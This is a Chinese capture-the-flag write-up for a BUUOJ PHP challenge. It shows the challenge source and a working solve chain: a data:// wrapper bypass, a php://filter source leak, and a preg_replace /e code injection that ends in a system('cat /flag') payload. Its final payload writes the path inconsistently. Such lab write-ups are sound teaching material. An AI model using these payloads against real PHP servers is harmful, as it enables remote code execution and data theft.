题目地址:https://buuoj.cn/challenges 解题思路 第一步:进入题目,看到源码,发现需要传入参数text以及file <?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?> 第二步:使用data://text/plain绕过对text的检测,使用php://filter/read=convert.base64-encode/resource查看提示的next.php的源码,出来一串base64的密文,解密得next.php的源码 <?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); } 第三步:利用漏洞,构造参数\S*=${getFlag()}执行next.php给出的getFlag函数,在传入cmd=system(‘cat /flag’);让getFlag()函数执行cat命令获取参数,最终payload:?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=next.php&\S*=${getFlag()}&cmd=system('cat \flag');